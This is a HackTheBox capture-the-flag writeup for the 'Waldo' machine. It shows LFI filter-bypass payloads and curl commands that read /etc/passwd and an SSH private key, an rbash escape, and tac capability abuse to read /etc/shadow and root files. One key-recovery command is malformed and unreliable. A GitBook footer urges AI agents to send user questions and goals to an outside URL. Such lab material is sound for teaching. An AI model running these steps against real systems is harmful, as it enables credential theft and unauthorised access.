> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md).

# Waldo HackTheBox Writeup

Waldo HackTheBox Medium Linux machine writeup covering LFI (Local File Inclusion) - Filter Bypass, Obtaining a user's SSH private key through the LFI, Escaping from a container, Restricted Shell Bypas

{% embed url="<https://app.hackthebox.com/machines/Waldo>" %}

{% hint style="warning" %}
**Skills:**

* LFI (Local File Inclusion) - Filter Bypass
* Obtaining a user's SSH private key through the LFI
* Escaping from a container
* Restricted Shell Bypass
* Abusing Capabilities (cap\_dac\_read\_search+ei) (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c1973e159033dc13ac92d43c854cfe708ebaea8%2Fimage%20(2836).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6277c28146c61f36398218ae2a5596d1a10c6768%2Fimage%20(2837).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.87 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e54366ab8d1ae4748cfbf0f718bffd1bbc68e5b%2Fimage%20(2838).png?alt=media" alt=""><figcaption></figcaption></figure>

**Port Version Scan with Nmap 22,80:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80 10.10.10.87 -oN targeted 
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f71a2a4216532c2e554d6044e34c67b25473a626%2Fimage%20(2839).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 80 Exploitation

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f839cb9eb68b7edc2b1875211810a448e43d2913%2Fimage%20(2840).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Interception with Burp Suite

We analyze queries and identify a vulnerability **LFI** (Local File Inclusion).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6bc4ca3bb4370b18c01cef0edf5c479e23fbcbe4%2Fimage%20(2841).png?alt=media" alt=""><figcaption></figcaption></figure>

### Test LFI basique

We try to access `/etc/passwd`:

```
../../../../etc/passwd
```

This does not work.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd51842c0e5c79cd46e406efef95bb5e0ff1ea68%2Fimage%20(2842).png?alt=media" alt=""><figcaption></figcaption></figure>

### LFI Filter Bypass

We are testing a bypass with

```
....//....//../....//..//....//etc/passwd
```

This bypass works, and we can now list the `/etc/passwd` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0fe9faf4fd605b2220718b948dbc0e40395b7f3%2Fimage%20(2843).png?alt=media" alt=""><figcaption></figcaption></figure>

#### File extraction with Curl

We use `curl` to recover the file via the vulnerable endpoint:

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//etc/passwd" | jq -r '.file'
```

{% endcode %}

We find the user **nobody**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbe3a1eca3b7828d834b508b81e69652a2506110%2Fimage%20(2844).png?alt=media" alt=""><figcaption></figcaption></figure>

### Access to the `.ssh` directory of nobody

We intercept the request from the `list.html` page and note that the `path` variable is used to recover files.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35533a8504cf84897a543e969cb70680709ce951%2Fimage%20(2845).png?alt=media" alt=""><figcaption></figcaption></figure>

We explore the home directory of `nobody`:

```
....//....//../....//..//....//home/nobody/.ssh/
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf31983123d30e5b4a86eef943a318a04f623fde%2Fimage%20(2846).png?alt=media" alt=""><figcaption></figcaption></figure>

We find a `.monitor` file.

#### Extraction of SSH private key

{% code overflow="wrap" %}

```bash
curl -s -X POST http://10.10.10.87/fileRead.php -d "file=....//....//../....//..//....//home/nobody/.ssh/.monitor" | jq -r '.file'
```

{% endcode %}

We're picking up a private key.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-97adb79c51f40532208c373c6fa2919c124841d5%2Fimage%20(2847).png?alt=media" alt=""><figcaption></figcaption></figure>

#### SSH connection to nobody

We connect with the recovered key:

```bash
ssh nobody@10.10.10.87 -i id_rsa
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-543fbc3a85704f87fa81399a570aa4788634ca1c%2Fimage%20(2848).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a5718df0448fd960bdd542099e63806ef42df30%2Fimage%20(2849).png?alt=media" alt="" width="499"><figcaption></figcaption></figure>

## Pivoting User operator

We identify a user `operator`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-731a6b803c63044b0453c745b0e8738c1cd353e3%2Fimage%20(2850).png?alt=media" alt=""><figcaption></figcaption></figure>

We find a `authorized_keys` file belonging to `monitor`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de18c3b3ce570aa230d68932fdf47905fa6e1956%2Fimage%20(2851).png?alt=media" alt=""><figcaption></figcaption></figure>

#### SSH connection to monitor

```bash
ssh monitor@127.0.0.1 -i .monitor
```

We find ourselves in a small shell (`rbash`).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8e5168acaee2c2490e8d0d98ff7d8e2d1b96f64%2Fimage%20(2852).png?alt=media" alt=""><figcaption></figcaption></figure>

### Restricted Shell Bypass

We start a SSH session by specifying `bash`:

```bash
ssh monitor@127.0.0.1 -i .monitor "bash --noprofile"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fadfbc83debb5272a4ab131485dcf56233fb737e%2Fimage%20(2853).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

### Capabilities- Tac

We list files with specific capabilities:

```bash
getcap -r / 2>/dev/null
```

We identify that **tac** has the `cap_dac_read_search+ei` capability:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82b9c4c9fc6d7feef377abd6530a72086180184f%2Fimage%20(2854).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Tap operation to read protected files

The `tac` command (inverse of `cat`) allows us to play the files by inverting their content.

```bash
tac /etc/shadow
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-161bcb3aa4208384a57985f8d4de26862023816e%2Fimage%20(2855).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

**root.txt Flag Read**

```bash
tac /root/root.txt | tac
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46182dcf565f5453c76cef471e019d20dd12f36c%2Fimage%20(2857).png?alt=media" alt="" width="545"><figcaption></figcaption></figure>

**Recovery of SSH root key**

```bash
/usr/bin/tac | /root/.ssh/id_rsa | /usr/bin/tac
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-284538dc1136201c54a9fd7e51c092e2ed8e722f%2Fimage%20(2856).png?alt=media" alt="" width="399"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/waldo-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
